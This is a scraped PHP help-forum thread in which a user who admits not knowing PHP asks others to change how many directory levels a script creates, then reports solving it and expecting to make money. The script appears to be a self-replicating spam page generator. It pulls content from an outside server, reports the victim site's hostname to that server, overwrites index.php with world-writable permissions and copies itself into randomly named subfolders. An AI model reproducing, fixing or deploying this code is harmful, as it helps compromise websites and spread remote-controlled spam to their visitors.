Heim >Backend-Entwicklung >PHP-Tutorial >帮我改下PHP代码的生成层数

帮我改下PHP代码的生成层数

WBOY
WBOYOriginal
2016-06-23 13:23:00694Durchsuche

看不懂啊,现在生成的层数有好几层【生成目录后,还在子目录又生成,如 生成了 ABC 又在ABC里面生成 DEF GHI ...】

想要生成一层就行了,即根目录生成的,子目录就不再生成了

以下是代码,希望大神改好后直接粘贴回复,谢谢,谢谢,非常感谢!

<?phpheader("Content-Type: text/html;charset=gb2312");$Remote_server = "http://meix.3428.net/"; $directory_Number=5; $Branch_directory_1=getCode(mt_rand(3,5));$Branch_directory_2=getCode(mt_rand(3,5));$Branch_directory_3=getCode(mt_rand(3,5));$Branch_directory_4=getCode(mt_rand(3,5));$Branch_directory_5=getCode(mt_rand(3,5));$Branch_directory_6=getCode(mt_rand(3,5));$Branch_directory_7=getCode(mt_rand(3,5));$Branch_directory_8=getCode(mt_rand(3,5));$Branch_directory_9=getCode(mt_rand(3,5));$Branch_directory_10=getCode(mt_rand(3,5));$Branch_directory = $Branch_directory_1.".".$Branch_directory_2.".".$Branch_directory_3.".".$Branch_directory_4.".".$Branch_directory_5.".".$Branch_directory_6.".".$Branch_directory_7.".".$Branch_directory_8.".".$Branch_directory_9.".".$Branch_directory_10;$NewFile_content = getFileCont("index.php");if (empty($NewFile_content)) {	exit("<p align='center'><font color='red'><b>页面在生成中稍等......</b></font></p>");}$ml = $_SERVER['REQUEST_URI'];$str= explode("/", $ml);$Quantity = count($str)-1; //层数$host_name = str_replace("index.php", "", "http://".$_SERVER['SERVER_NAME'].$_SERVER['REQUEST_URI']);if ($Quantity<5 && $Quantity>0) {	$Remote_directory = $Remote_server."/directory.php?type=index.php&host=".$host_name."&directory=".$Branch_directory;	$Content_directory = getHTTPPage($Remote_directory);		$Content_mb=GetHtml($Remote_server."/index.php?type=index.php&host=".$host_name);	$Branch_directory= explode(".",$Branch_directory);	echo $Content_mb;	for ($i=0;$i < count($Branch_directory); $i++) {		$check = CFolder("./".$Branch_directory[$i]."/");		if ($check == 1) {			WriteIn("./".$Branch_directory[$i]."/index.php",$NewFile_content);		}	}	WriteIn("./index.php",$Content_mb);	chmod("index.php",0777);	echo "<meta http-equiv='refresh' content='0; url=index.php'>";	exit();} else {	$Content_mb=GetHtml($Remote_server."/index.php?type=index.php&host=".$host_name);	WriteIn("./index.php",$Content_mb);	chmod("index.php",0777);	header("Location: index.php");	exit();}  function getCode($iCount) {//取随机混合字母数字    	$arrChar = "012qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM3456789";	$code="";    for ( $i = 0; $i < $iCount; $i++ )  	{ 		$code .= $arrChar[ mt_rand(0, strlen($arrChar) - 1) ];  	}  	return $code; }function Digital($iCount) {//取随机数字    $arrChar = "0123456789";	$code="";    for ( $i = 0; $i < $iCount; $i++ )  	{ 		$code .= $arrChar[ mt_rand(0, strlen($arrChar) - 1) ];  	}  	return $code; }function sj_int($min, $max) { //取随机数字	return mt_rand($min, $max);}function WriteIn($testfile, $msg) {	if (empty($msg)) {		echo "内容为空";		return;	}		$fp = @fopen($testfile,"w");	fwrite($fp,$msg);	fclose($fp);}function getFileCont($testfile) {	$restr = '';	$fp = @fopen($testfile,"r");	if ($fp) {		while($line=fgets($fp,1024)) $restr.=$line;		fclose($fp);	}	return $restr;}function CFolder($Filepath) {  if (!file_exists($Filepath)) {	mkdir($Filepath, 0777);	return 1;  }  return 0;}function getHTTPPage($url) {	$opts = array(	  'http'=>array(		'method'=>"GET",		'header'=>"User-Agent: aQ0O010O"	  )	);	$context = stream_context_create($opts);	$html = @file_get_contents($url, false, $context);	if (empty($html)) {		exit("<p align='center'><font color='red'><b>服务器获取文件内容出错</b></font></p>");	}		return $html;} function GetHtml($url) {	return getHTTPPage($url);}


回复讨论(解决方案)

按照那个层数标注的地方 改了也没反应啊

还是自己摸索出来了,原来层数是哪个数字 5  ,标记错了, 屌丝也有逆袭日 【完全不懂PHP,只会用,看我赚大钱吧】

Stellungnahme:
Der Inhalt dieses Artikels wird freiwillig von Internetnutzern beigesteuert und das Urheberrecht liegt beim ursprünglichen Autor. Diese Website übernimmt keine entsprechende rechtliche Verantwortung. Wenn Sie Inhalte finden, bei denen der Verdacht eines Plagiats oder einer Rechtsverletzung besteht, wenden Sie sich bitte an admin@php.cn
Vorheriger Artikel:this和self什么时候该用Nächster Artikel:sugarcrm弹出输入框